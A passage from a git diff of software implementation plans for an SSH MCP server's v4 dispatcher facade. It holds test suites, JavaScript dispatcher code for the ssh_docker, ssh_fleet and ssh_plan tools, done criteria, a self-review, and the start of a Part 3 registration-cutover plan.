of scope for the facade). + +**Files:** +- Create: `src/dispatchers/ssh-docker.js` +- Test: `tests/test-dispatcher-docker.js` (create) + +- [ ] **Step 1: Write the failing test** + +Create `tests/test-dispatcher-docker.js`: + +```javascript +#!/usr/bin/env node +/** + * Routing suite for the ssh_docker v4 dispatcher (src/dispatchers/ssh-docker.js). + * Run: node tests/test-dispatcher-docker.js + */ +import assert from 'assert'; +import { handleSshDockerTool } from '../src/dispatchers/ssh-docker.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +function spy(ret = { content: [{ type: 'text', text: 'ok' }], isError: false }) { + const calls = []; + const fn = async (ctx) => { calls.push(ctx); return ret; }; + fn.calls = calls; + return fn; +} + +const DEPS = { getConnection: () => 'CONN' }; + +console.log('[test] Testing ssh_docker dispatcher\n'); + +await test('ps routes to handlers.docker with action=ps', async () => { + const docker = spy(); + await handleSshDockerTool({ + deps: DEPS, handlers: { docker }, + args: { server: 's', action: 'ps' }, + }); + assert.strictEqual(docker.calls.length, 1); + assert.strictEqual(docker.calls[0].args.action, 'ps'); + assert.strictEqual(docker.calls[0].getConnection, DEPS.getConnection); +}); + +await test('logs routes to handlers.docker, forwards container + tail_lines', async () => { + const docker = spy(); + await handleSshDockerTool({ + deps: DEPS, handlers: { docker }, + args: { server: 's', action: 'logs', container: 'web', tail_lines: 50 }, + }); + assert.strictEqual(docker.calls[0].args.action, 'logs'); + assert.strictEqual(docker.calls[0].args.container, 'web'); + assert.strictEqual(docker.calls[0].args.tail_lines, 50); +}); + +await test('exec routes to handlers.docker, forwards command', async () => { + const docker = spy(); + await handleSshDockerTool({ + deps: DEPS, handlers: { docker }, + args: { server: 's', action: 'exec', container: 'web', command: 'ls' }, + }); + assert.strictEqual(docker.calls[0].args.action, 'exec'); + assert.strictEqual(docker.calls[0].args.command, 'ls'); +}); + +await test('restart routes to handlers.docker, forwards preview', async () => { + const docker = spy(); + await handleSshDockerTool({ + deps: DEPS, handlers: { docker }, + args: { server: 's', action: 'restart', container: 'web', preview: true }, + }); + assert.strictEqual(docker.calls[0].args.action, 'restart'); + assert.strictEqual(docker.calls[0].args.preview, true); +}); + +await test('inspect routes to handlers.docker', async () => { + const docker = spy(); + await handleSshDockerTool({ + deps: DEPS, handlers: { docker }, + args: { server: 's', action: 'inspect', container: 'web' }, + }); + assert.strictEqual(docker.calls[0].args.action, 'inspect'); +}); + +await test('logs missing container -> structured fail, handler not called', async () => { + const docker = spy(); + const r = await handleSshDockerTool({ + deps: DEPS, handlers: { docker }, + args: { server: 's', action: 'logs' }, + }); + assert.strictEqual(docker.calls.length, 0); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('container')); +}); + +await test('exec missing command -> structured fail', async () => { + const r = await handleSshDockerTool({ + deps: DEPS, handlers: { docker: spy() }, + args: { server: 's', action: 'exec', container: 'web' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('command')); +}); + +await test('compose is rejected with a clear message', async () => { + const docker = spy(); + const r = await handleSshDockerTool({ + deps: DEPS, handlers: { docker }, + args: { server: 's', action: 'compose' }, + }); + assert.strictEqual(docker.calls.length, 0); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.toLowerCase().includes('compose')); +}); + +await test('unknown action -> structured fail', async () => { + const r = await handleSshDockerTool({ deps: DEPS, handlers: {}, args: { server: 's', action: 'swarm' } }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('swarm')); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-dispatcher-docker.js` +Expected: FAIL — `Cannot find module '../src/dispatchers/ssh-docker.js'`. + +- [ ] **Step 3: Write the implementation** + +Create `src/dispatchers/ssh-docker.js`: + +```javascript +/** + * ssh_docker -- v4 fat verb-tool dispatcher. + * + * Thin pass-through over handleSshDocker, which already owns its own action + * enum. v4 advertises ps/logs/exec/restart/inspect/compose. compose has no + * handler path and is rejected here; the other five forward straight through. + * + * handlers (injected): { docker }. + */ + +import { fail, toMcp } from '../structured-result.js'; +import { makeCtx } from './ctx-factory.js'; +import { requireArgs } from './action-validate.js'; + +const REQUIRED = { + ps: ['server'], + logs: ['server', 'container'], + exec: ['server', 'container', 'command'], + restart: ['server', 'container'], + inspect: ['server', 'container'], +}; + +export async function handleSshDockerTool({ deps, handlers, args } = {}) { + const a = args || {}; + const { action } = a; + + if (!action) { + return toMcp(fail('ssh_docker', 'action is required', { server: a.server ?? null })); + } + if (action === 'compose') { + return toMcp(fail('ssh_docker', + 'action "compose" is not supported -- use ssh_run to invoke docker compose directly', + { server: a.server ?? null })); + } + if (!Object.prototype.hasOwnProperty.call(REQUIRED, action)) { + return toMcp(fail('ssh_docker', `unknown action "${action}"`, { server: a.server ?? null })); + } + + const bad = requireArgs('ssh_docker', action, a, REQUIRED); + if (bad) return bad; + + return handlers.docker(makeCtx('conn', deps, { + server: a.server, + action, + container: a.container, + image: a.image, + command: a.command, + tail_lines: a.tail_lines, + preview: a.preview, + format: a.format, + })); +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-dispatcher-docker.js` +Expected: PASS — `9 passed, 0 failed`. + +- [ ] **Step 5: Commit** + +```bash +git add src/dispatchers/ssh-docker.js tests/test-dispatcher-docker.js +git commit -m "feat: add ssh_docker v4 dispatcher" +``` + +--- + +## Task 9: `ssh_fleet` dispatcher + +`ssh_fleet` collapses the genuine fleet/config-metadata tools: `ssh_list_servers`, `ssh_group_manage`, `ssh_alias`, `ssh_command_alias`, `ssh_profile`, `ssh_hooks`, `ssh_key_manage`, `ssh_connection_status`, `ssh_history`. Eight actions: `servers`, `groups`, `aliases`, `profiles`, `hooks`, `keys`, `history`, `connections`. + +Most of those tools' handler bodies live **inline in `index.js`**, not in `src/tools/*.js`: only `ssh_key_manage` is a modular handler (`handleSshKeyManage`). The facade cannot re-facade inline closures. So `ssh_fleet`'s dispatcher takes a `handlers` object whose entries are **adapter functions supplied at registration time** (Part 3 builds them by lifting the inline `index.js` logic into named functions). This task builds the dispatcher and its routing contract; Part 3 supplies the real adapters. `keys` is the one action wired to a modular handler — its adapter is `handleSshKeyManage` via the `cfg` ctx kind. + +**Files:** +- Create: `src/dispatchers/ssh-fleet.js` +- Test: `tests/test-dispatcher-fleet.js` (create) + +- [ ] **Step 1: Write the failing test** + +Create `tests/test-dispatcher-fleet.js`: + +```javascript +#!/usr/bin/env node +/** + * Routing suite for the ssh_fleet v4 dispatcher (src/dispatchers/ssh-fleet.js). + * Every action routes to a named handler in the injected handlers object. + * Run: node tests/test-dispatcher-fleet.js + */ +import assert from 'assert'; +import { handleSshFleet } from '../src/dispatchers/ssh-fleet.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +function spy(ret = { content: [{ type: 'text', text: 'ok' }], isError: false }) { + const calls = []; + const fn = async (arg) => { calls.push(arg); return ret; }; + fn.calls = calls; + return fn; +} + +const DEPS = { getServerConfig: () => ({ host: 'h', port: '22' }) }; + +console.log('[test] Testing ssh_fleet dispatcher\n'); + +await test('servers routes to handlers.servers', async () => { + const servers = spy(); + await handleSshFleet({ deps: DEPS, handlers: { servers }, args: { action: 'servers' } }); + assert.strictEqual(servers.calls.length, 1); +}); + +await test('groups routes to handlers.groups, forwards op + name + members', async () => { + const groups = spy(); + await handleSshFleet({ + deps: DEPS, handlers: { groups }, + args: { action: 'groups', op: 'create', name: 'web', members: ['a', 'b'] }, + }); + assert.strictEqual(groups.calls.length, 1); + assert.strictEqual(groups.calls[0].args.op, 'create'); + assert.strictEqual(groups.calls[0].args.name, 'web'); + assert.deepStrictEqual(groups.calls[0].args.members, ['a', 'b']); +}); + +await test('aliases routes to handlers.aliases', async () => { + const aliases = spy(); + await handleSshFleet({ + deps: DEPS, handlers: { aliases }, + args: { action: 'aliases', op: 'add', name: 'p1', target: 'prod01' }, + }); + assert.strictEqual(aliases.calls.length, 1); + assert.strictEqual(aliases.calls[0].args.op, 'add'); +}); + +await test('profiles routes to handlers.profiles', async () => { + const profiles = spy(); + await handleSshFleet({ deps: DEPS, handlers: { profiles }, args: { action: 'profiles', op: 'list' } }); + assert.strictEqual(profiles.calls.length, 1); +}); + +await test('hooks routes to handlers.hooks', async () => { + const hooks = spy(); + await handleSshFleet({ deps: DEPS, handlers: { hooks }, args: { action: 'hooks', op: 'list' } }); + assert.strictEqual(hooks.calls.length, 1); +}); + +await test('history routes to handlers.history, forwards limit', async () => { + const history = spy(); + await handleSshFleet({ deps: DEPS, handlers: { history }, args: { action: 'history', limit: 5 } }); + assert.strictEqual(history.calls.length, 1); + assert.strictEqual(history.calls[0].args.limit, 5); +}); + +await test('connections routes to handlers.connections', async () => { + const connections = spy(); + await handleSshFleet({ deps: DEPS, handlers: { connections }, args: { action: 'connections', op: 'status' } }); + assert.strictEqual(connections.calls.length, 1); +}); + +await test('keys routes to handlers.keys with { getServerConfig, args }', async () => { + const keys = spy(); + await handleSshFleet({ + deps: DEPS, handlers: { keys }, + args: { action: 'keys', op: 'list', server: 's' }, + }); + assert.strictEqual(keys.calls.length, 1); + assert.strictEqual(keys.calls[0].getServerConfig, DEPS.getServerConfig); + // keys handler reads `action`, not `op` -- dispatcher maps op -> action + assert.strictEqual(keys.calls[0].args.action, 'list'); +}); + +await test('unknown action -> structured fail', async () => { + const r = await handleSshFleet({ deps: DEPS, handlers: {}, args: { action: 'nuke' } }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('nuke')); +}); + +await test('missing action -> structured fail', async () => { + const r = await handleSshFleet({ deps: DEPS, handlers: {}, args: {} }); + assert.strictEqual(r.isError, true); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-dispatcher-fleet.js` +Expected: FAIL — `Cannot find module '../src/dispatchers/ssh-fleet.js'`. + +- [ ] **Step 3: Write the implementation** + +Create `src/dispatchers/ssh-fleet.js`: + +```javascript +/** + * ssh_fleet -- v4 fat verb-tool dispatcher. + * + * Collapses ssh_list_servers / ssh_group_manage / ssh_alias / + * ssh_command_alias / ssh_profile / ssh_hooks / ssh_key_manage / + * ssh_connection_status / ssh_history -- genuine fleet/config metadata only. + * + * Most of these tools' bodies live inline in index.js, not src/tools/*.js, so + * they cannot be re-faceted. The handlers object is supplied at registration + * time (Part 3) as adapter functions. `keys` is the lone modular handler + * (handleSshKeyManage, cfg ctx kind); v4 `op` maps to its `action` arg. + * + * handlers (injected): { servers, groups, aliases, profiles, hooks, keys, + * history, connections }. Each is async ({ args } or a + * full ctx object) -> MCP response. + */ + +import { fail, toMcp } from '../structured-result.js'; +import { makeCtx } from './ctx-factory.js'; + +const ACTIONS = new Set([ + 'servers', 'groups', 'aliases', 'profiles', + 'hooks', 'keys', 'history', 'connections', +]); + +export async function handleSshFleet({ deps, handlers, args } = {}) { + const a = args || {}; + const { action } = a; + + if (!action) { + return toMcp(fail('ssh_fleet', 'action is required', { server: a.server ?? null })); + } + if (!ACTIONS.has(action)) { + return toMcp(fail('ssh_fleet', `unknown action "${action}"`, { server: a.server ?? null })); + } + + if (action === 'keys') { + // handleSshKeyManage destructures `ctx` with getServerConfig + args. + return handlers.keys(makeCtx('cfg', deps, { + action: a.op, + server: a.server, + host: a.host, + port: a.port, + autoAccept: a.auto_accept, + format: a.format, + })); + } + + // servers / groups / aliases / profiles / hooks / history / connections: + // adapter functions take a plain { args } object. + return handlers[action]({ + args: { + op: a.op, + name: a.name, + members: a.members, + alias: a.alias, + target: a.target, + server: a.server, + limit: a.limit, + format: a.format, + }, + }); +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-dispatcher-fleet.js` +Expected: PASS — `10 passed, 0 failed`. + +- [ ] **Step 5: Commit** + +```bash +git add src/dispatchers/ssh-fleet.js tests/test-dispatcher-fleet.js +git commit -m "feat: add ssh_fleet v4 dispatcher" +``` + +--- + +## Task 10: `ssh_plan` dispatcher + +`ssh_plan` stays a tool but is renamed in the v4 surface. Two v4 actions: `run` (build + execute a multi-step plan) and `approve` (re-run with an `approve_token` to clear the high-risk gate). Both route to the existing `handleSshPlan`, which takes `{ dispatch, args }`. + +**Verified contradiction to fix.** `handleSshPlan`'s `invokeStep` looks up `dispatch[step.action]` where `step.action` is the **plan-step action enum** — `tests/test-plan-tools.js` exclusively uses keys `exec`, `exec_sudo`, `upload`, `download`, `edit`, `systemctl`, `backup`, `health_check`. The current `index.js` `ssh_plan` registration builds a `dispatch` table keyed by **tool names** (`ssh_execute`, `ssh_cat`, ...). Those keys never match `step.action`, so every step today fails with `no handler registered for action "exec"`. This is a pre-existing latent bug. The v4 `ssh_plan` dispatcher fixes it: the dispatch table it threads through is keyed by the plan-step enum that `plan-tools.js` actually reads. + +The dispatch table's handler values must accept `{ args }` — `invokeStep` calls `handler({ args: stepToHandlerArgs(...) })`. So each entry is a closure that wraps a `src/tools/*.js` handler with the right ctx. Part 3 supplies the real `getConnection`/`getServerConfig`; this task's tests inject fakes and assert the table is keyed correctly. + +**Files:** +- Create: `src/dispatchers/ssh-plan.js` +- Test: `tests/test-dispatcher-plan.js` (create) + +- [ ] **Step 1: Write the failing test** + +Create `tests/test-dispatcher-plan.js`: + +```javascript +#!/usr/bin/env node +/** + * Routing suite for the ssh_plan v4 dispatcher (src/dispatchers/ssh-plan.js). + * Confirms the dispatch table threaded into handleSshPlan is keyed by the + * plan-step action enum, and that run/approve map onto plan modes. + * Run: node tests/test-dispatcher-plan.js + */ +import assert from 'assert'; +import { handleSshPlanTool, buildPlanDispatch } from '../src/dispatchers/ssh-plan.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +const DEPS = { + getConnection: () => 'CONN', + getServerConfig: () => ({}), + resolveGroup: () => null, +}; + +console.log('[test] Testing ssh_plan dispatcher\n'); + +// --- buildPlanDispatch --------------------------------------------------- +await test('buildPlanDispatch is keyed by the plan-step action enum', () => { + const d = buildPlanDispatch(DEPS, { + execute: async () => ({}), executeSudo: async () => ({}), + upload: async () => ({}), download: async () => ({}), + edit: async () => ({}), systemctl: async () => ({}), + backupCreate: async () => ({}), healthCheck: async () => ({}), + }); + // plan-tools invokeStep reads dispatch[step.action]; step.action uses these: + for (const key of ['exec', 'exec_sudo', 'upload', 'download', 'edit', + 'systemctl', 'backup', 'health_check']) { + assert.strictEqual(typeof d[key], 'function', `dispatch has "${key}"`); + } + assert.strictEqual(d.ssh_execute, undefined, + 'dispatch is NOT keyed by tool names'); +}); + +await test('dispatch "exec" entry wraps the execute handler with { getConnection, args }', async () => { + let seenCtx = null; + const execute = async (ctx) => { seenCtx = ctx; return { content: [], isError: false }; }; + const d = buildPlanDispatch(DEPS, { execute }); + await d.exec({ args: { server: 's', command: 'ls' } }); + assert.strictEqual(seenCtx.getConnection, DEPS.getConnection); + assert.strictEqual(seenCtx.args.command, 'ls'); +}); + +await test('dispatch "exec_sudo" entry passes getServerConfig through', async () => { + let seenCtx = null; + const executeSudo = async (ctx) => { seenCtx = ctx; return { content: [], isError: false }; }; + const d = buildPlanDispatch(DEPS, { executeSudo }); + await d.exec_sudo({ args: { server: 's', command: 'id' } }); + assert.strictEqual(seenCtx.getServerConfig, DEPS.getServerConfig); +}); + +// --- handleSshPlanTool --------------------------------------------------- +function fakePlan() { + // stand-in for handleSshPlan: echoes the args it received. + return async ({ dispatch, args }) => ({ + content: [{ type: 'text', text: JSON.stringify({ mode: args.mode, hasToken: !!args.approve_token, dispatchKeys: Object.keys(dispatch) }) }], + isError: false, + }); +} + +await test('run action invokes plan with mode "run"', async () => { + const r = await handleSshPlanTool({ + deps: DEPS, handlers: {}, planFn: fakePlan(), + args: { action: 'run', steps: [{ action: 'exec', command: 'ls' }] }, + }); + const body = JSON.parse(r.content[0].text); + assert.strictEqual(body.mode, 'run'); +}); + +await test('approve action invokes plan with mode "run" and forwards approve_token', async () => { + const r = await handleSshPlanTool({ + deps: DEPS, handlers: {}, planFn: fakePlan(), + args: { action: 'approve', approve_token: 'yes', steps: [{ action: 'exec', command: 'ls' }] }, + }); + const body = JSON.parse(r.content[0].text); + assert.strictEqual(body.mode, 'run'); + assert.strictEqual(body.hasToken, true); +}); + +await test('run action threads a step-enum-keyed dispatch into the plan', async () => { + const r = await handleSshPlanTool({ + deps: DEPS, handlers: { execute: async () => ({}) }, planFn: fakePlan(), + args: { action: 'run', steps: [] }, + }); + const body = JSON.parse(r.content[0].text); + assert(body.dispatchKeys.includes('exec'), 'dispatch keyed by step enum'); + assert(!body.dispatchKeys.includes('ssh_execute'), 'not keyed by tool name'); +}); + +await test('run missing steps -> structured fail, plan not invoked', async () => { + let planCalled = false; + const r = await handleSshPlanTool({ + deps: DEPS, handlers: {}, + planFn: async () => { planCalled = true; return {}; }, + args: { action: 'run' }, + }); + assert.strictEqual(planCalled, false); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('steps')); +}); + +await test('approve missing approve_token -> structured fail', async () => { + const r = await handleSshPlanTool({ + deps: DEPS, handlers: {}, planFn: fakePlan(), + args: { action: 'approve', steps: [{ action: 'exec', command: 'ls' }] }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('approve_token')); +}); + +await test('unknown action -> structured fail', async () => { + const r = await handleSshPlanTool({ + deps: DEPS, handlers: {}, planFn: fakePlan(), + args: { action: 'simulate', steps: [] }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('simulate')); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-dispatcher-plan.js` +Expected: FAIL — `Cannot find module '../src/dispatchers/ssh-plan.js'`. + +- [ ] **Step 3: Write the implementation** + +Create `src/dispatchers/ssh-plan.js`: + +```javascript +/** + * ssh_plan -- v4 verb-tool dispatcher. + * + * ssh_plan stays its own tool (a meta-orchestrator). Two v4 actions: + * run -> handleSshPlan, mode 'run' + * approve -> handleSshPlan, mode 'run', with approve_token forwarded + * + * buildPlanDispatch produces the `dispatch` map handleSshPlan threads to + * invokeStep. invokeStep reads dispatch[step.action] where step.action is the + * PLAN-STEP action enum (exec, exec_sudo, upload, ...). The pre-v4 index.js + * keyed this table by tool names, which never matched -- v4 keys it by the + * step enum so steps actually dispatch. + * + * Each dispatch entry is a closure taking { args } (invokeStep's call shape) + * and wrapping a src/tools/*.js handler with the right context object. + * + * handlers (injected): subset of { execute, executeSudo, upload, download, + * edit, systemctl, backupCreate, healthCheck }. + */ + +import { fail, toMcp } from '../structured-result.js'; + +/** + * Build the plan-step-keyed dispatch table. Keys are the action strings + * plan-tools.js reads from each step; values take { args } and return an + * MCP response. + */ +export function buildPlanDispatch(deps, handlers) { + const h = handlers || {}; + const d = {}; + if (h.execute) { + d.exec = ({ args }) => h.execute({ getConnection: deps.getConnection, args }); + } + if (h.executeSudo) { + d.exec_sudo = ({ args }) => h.executeSudo({ + getConnection: deps.getConnection, getServerConfig: deps.getServerConfig, args, + }); + } + if (h.upload) { + d.upload = ({ args }) => h.upload({ getConnection: deps.getConnection, args }); + } + if (h.download) { + d.download = ({ args }) => h.download({ getConnection: deps.getConnection, args }); + } + if (h.edit) { + d.edit = ({ args }) => h.edit({ getConnection: deps.getConnection, args }); + } + if (h.systemctl) { + d.systemctl = ({ args }) => h.systemctl({ getConnection: deps.getConnection, args }); + } + if (h.backupCreate) { + d.backup = ({ args }) => h.backupCreate({ getConnection: deps.getConnection, args }); + } + if (h.healthCheck) { + d.health_check = ({ args }) => h.healthCheck({ getConnection: deps.getConnection, args }); + } + return d; +} + +export async function handleSshPlanTool({ deps, handlers, planFn, args } = {}) { + const a = args || {}; + const { action } = a; + + if (action !== 'run' && action !== 'approve') { + return toMcp(fail('ssh_plan', `unknown action "${action}"`, { server: null })); + } + if (a.steps === undefined || a.steps === null) { + return toMcp(fail('ssh_plan', 'action requires: steps', { server: null })); + } + if (action === 'approve' && !a.approve_token) { + return toMcp(fail('ssh_plan', 'action "approve" requires: approve_token', { server: null })); + } + + const dispatch = buildPlanDispatch(deps, handlers); + return planFn({ + dispatch, + args: { + plan: a.steps, + mode: 'run', + server: a.server, + approve_token: a.approve_token, + rollback_on_fail: a.rollback_on_fail, + format: a.format, + }, + }); +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-dispatcher-plan.js` +Expected: PASS — `10 passed, 0 failed`. + +- [ ] **Step 5: Run the full suite to confirm zero regressions** + +Run: `npm test` +Expected: green. This part adds ten dispatcher modules and ten test suites: +`logs` 8, `service` 7, `health` 9, `db` 8, `backup` 7, `session` 10, `net` 8, `docker` 9, `fleet` 10, `plan` 10 — 86 new tests. Added to the Part 1 end total. Re-count from the actual `npm test` output; the exact number is whatever it prints. Because nothing here touches `index.js` or any existing module, every pre-existing suite must still pass unchanged. + +> If the printed total does not match expectation, do not edit a test to hit a number — verify each new suite printed its expected pass count and that no pre-existing suite regressed, then record the real total. + +- [ ] **Step 6: Commit** + +```bash +git add src/dispatchers/ssh-plan.js tests/test-dispatcher-plan.js +git commit -m "feat: add ssh_plan v4 dispatcher with step-enum-keyed dispatch" +``` + +--- + +## Done criteria + +- `src/dispatchers/` contains all twelve v4 dispatcher modules (`ssh-run.js`, `ssh-file.js` from Part 1; `ssh-logs.js`, `ssh-service.js`, `ssh-health.js`, `ssh-db.js`, `ssh-backup.js`, `ssh-session.js`, `ssh-net.js`, `ssh-docker.js`, `ssh-fleet.js`, `ssh-plan.js` from Part 2). +- Every dispatcher validates per-action required args and returns a structured `fail()` MCP response on a miss without invoking the handler. +- `ssh_plan`'s `buildPlanDispatch` is keyed by the plan-step action enum, fixing the pre-existing tool-name-keyed mismatch. +- `npm test` is green: every new dispatcher suite passes and zero pre-existing suites regress. +- `src/index.js`, `src/tool-registry.js`, `src/tool-annotations.js` are untouched — the cutover is Part 3. +- No handler in `src/tools/*.js` was modified. + +Part 3 wires all twelve dispatchers into `src/index.js` via `registerToolConditional`, rewrites `src/tool-registry.js` and `src/tool-annotations.js` for the 12-tool surface, lifts the inline `ssh_fleet` handler bodies out of `index.js` into named adapter functions, and rewrites the four coupled test suites (`test-index-registration.js`, `test-tool-registry.js`, `test-tool-annotations.js`, `test-tool-config-manager.js`). + +--- + +## Self-review + +Performed after drafting, before marking the plan ready. + +**Spec coverage (section 3).** +- The action→handler table in spec section 3 was walked tool by tool: `ssh_logs` (5 actions, all mapped), `ssh_service` (status→serviceStatus, the rest→systemctl), `ssh_health` (4 actions to 4 handlers), `ssh_db` (4→4), `ssh_backup` (4→4), `ssh_session` (6→6), `ssh_net` (4→4), `ssh_docker` (pass-through, `compose` rejected), `ssh_fleet` (8 actions; 7 inline-adapter, `keys`→`handleSshKeyManage`), `ssh_plan` (run/approve→`handleSshPlan`). Together with Part 1's `ssh_run`+`ssh_file`, all twelve in-scope tools have dispatchers. `ssh_find` (13th) is Plan 5 — correctly excluded. +- "ssh_plan's steps dispatch table is rewritten to the v4 verb+action namespace" — Task 10. Investigation found the existing `index.js` table is keyed by tool names but `plan-tools.js` `invokeStep` reads `dispatch[step.action]` with the short step enum; `test-plan-tools.js` confirms (`{action:'exec'}`, `{action:'upload'}`, ...). `buildPlanDispatch` is therefore keyed by the step enum, and a test asserts `d.ssh_execute === undefined`. This is flagged in the plan as a pre-existing latent-bug fix. +- "every action-scoped arg optional; dispatcher checks per-action required-arg map; structured fail() names missing args" — every dispatcher has a `REQUIRED` map and calls `requireArgs`; `ssh_fleet` and `ssh_plan` validate inline because their required sets are action-shaped differently (op-based / steps-based). Each has unknown-action and missing-arg tests. +- "ssh_docker keeps its existing multi-action surface first-class" — `ssh-docker.js` is a pass-through to `handleSshDocker`; it does not re-implement Docker's enum. `compose` has no handler path, so it is rejected with an explicit message rather than silently routed. +- "ssh_fleet keeps only genuine fleet/config-metadata; ssh_net and ssh_docker are separate tools" — `ssh_fleet` actions are exactly the nine config/metadata tools; tunnels and docker are their own dispatchers. +- "camelCase aliases dropped; snake_case only" — dispatchers read snake_case v4 args (`tunnel_type`, `proc_action`, `cpu_threshold`, `auto_accept`, `backup_type`, `since_offset`). The handler-arg names the dispatchers *target* (`type`, `action`, `cpuThreshold`, `autoAccept`, `unit`, `timeout`) are the existing handlers' internal arg contracts, verified by reading each handler's destructure block and the `index.js` registration that calls it today. + +**Placeholder scan.** Searched the draft for "TBD", "similar to", "add validation", "etc.", "...". The only `...` occurrences are JS spread syntax (`...creds(a)`) in code blocks; no prose placeholder. Every code step is complete and copy-pasteable. + +**Type consistency.** +- Every dispatcher returns either a handler's MCP `{ content, isError? }` object or `toMcp(fail(...))` (same shape). Consistent. +- `makeCtx` kinds used: `conn`, `conn-cfg` (none here — `ssh_service`/`ssh_db`/`ssh_backup` use `conn`), `cfg` (`ssh_fleet` keys action), `args` (tail read/stop, session send/list/close/replay/memory, tunnel list/close). Every handler destructures only keys the chosen kind supplies — verified against the cheat-sheet table built from the handler export signatures. +- `handleSshSessionStart` reads an optional `_openShellStream`; `makeCtx('conn', ...)` omits it; the handler opens its own shell when absent — verified by reading `session-tools.js` line 478+. +- `ssh_fleet` adapters: the dispatcher calls `handlers[action]({ args: {...} })` for the seven inline actions and `handlers.keys(makeCtx('cfg', ...))` for `keys`. The test injects spies; Part 3 supplies real adapters lifted from `index.js`. The contract (an async fn taking either `{args}` or a ctx object, returning an MCP response) is stated in the module docstring. +- `ssh_plan`: `buildPlanDispatch` entries are `({ args }) => handler(ctxObject)` — matching `invokeStep`'s `handler({ args: ... })` call shape (verified at `plan-tools.js` line 318). `handleSshPlanTool` takes an injectable `planFn` so the test can substitute a fake; Part 3 passes the real `handleSshPlan`. +- Test runner contract: each suite prints `N passed, M failed` and `process.exit(1)` on failure — Pattern A of `scripts/run-tests.mjs`. `async test()` + top-level `await test(...)` valid in ESM. + +**Issues found and fixed inline.** +1. First draft of `ssh-service.js` routed `status` through `handleSshSystemctl action:status`. `handleSshSystemctl`'s `status` path needs a `unit`, and its output is the generic systemctl card, not the typed snapshot `handleSshServiceStatus` produces. Fixed: `status` routes to `handleSshServiceStatus` (typed `ActiveState`/`SubState` snapshot); only the mutating verbs go to `systemctl`. +2. First draft of `ssh-fleet.js` tried to route every action through a modular handler. Reading `index.js` showed seven of the nine fleet tools (`ssh_list_servers`, `ssh_group_manage`, `ssh_alias`, `ssh_command_alias`, `ssh_profile`, `ssh_hooks`, `ssh_connection_status`, `ssh_history`) have **inline closure bodies in `index.js`**, not modular handlers — only `ssh_key_manage` is modular. A facade cannot re-facade inline closures. Fixed: `ssh_fleet`'s `handlers` object is documented as registration-time adapter functions (Part 3 lifts the inline logic into named functions); `keys` alone wires to `handleSshKeyManage`. This is called out explicitly in the Task 9 preamble so Part 3 knows it must do the lift. +3. `ssh_plan` `approve` originally mapped to a distinct plan mode. `plan-tools.js` has only `preview`/`dry_run`/`run` and gates high-risk steps inside `run` by `approve_token` presence. Fixed: both `run` and `approve` use mode `run`; `approve` simply forwards a non-empty `approve_token`, matching the spec's "inspect preview, re-invoke with any non-empty approve_token" two-call pattern. diff --git a/docs/superpowers/plans/2026-05-17-ssh-mcp-v4-facade-3.md b/docs/superpowers/plans/2026-05-17-ssh-mcp-v4-facade-3.md new file mode 100644 index 0000000..747ec2b --- /dev/null +++ b/docs/superpowers/plans/2026-05-17-ssh-mcp-v4-facade-3.md @@ -0,0 +1,1372 @@ +# ssh-mcp v4 Dispatcher Facade Part 3 — Registration Cutover Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Cut the live MCP surface over from 51 tools to 12. Rewrite `src/tool-registry.js` and `src/tool-annotations.js` for the 12-tool namespace, lift the inline `ssh_fleet`-family handler bodies out of `src/index.js` into a named-adapter module, replace all 51 `registerToolConditional` blocks in `src/index.js` with 12, and rewrite the four registration-coupled test suites. + +**Architecture:** This is the breaking change. Parts 1-2 added twelve dispatcher modules under `src/dispatchers/` without touching `index.js` — they were dormant. This part wires them in. `src/tool-registry.js` is rewritten (groups, counts, descriptions for 12 tools); `src/tool-annotations.js` is rewritten (one entry per fat tool); a new `src/fleet-adapters.js` holds the seven inline `ssh_fleet` action bodies lifted verbatim from `index.js` closures; `src/index.js` loses ~1700 lines of registration and gains 12 fat-tool registrations with full zod `inputSchema`s. The four coupled suites — `test-index-registration.js`, `test-tool-registry.js`, `test-tool-annotations.js`, `test-tool-config-manager.js` — are rewritten in the same task that changes their target. The ~640 handler-level tests are untouched: they call the unchanged `src/tools/*.js` handlers directly. + +**Tech Stack:** Node.js ESM, the `node:assert`-based suites run by `scripts/run-tests.mjs`, zod v4, `@modelcontextprotocol/sdk`. + +This is Plan 4 of 6, Part 3 of 3 — the final part of the dispatcher facade. Parts 1-2 (framework + all twelve 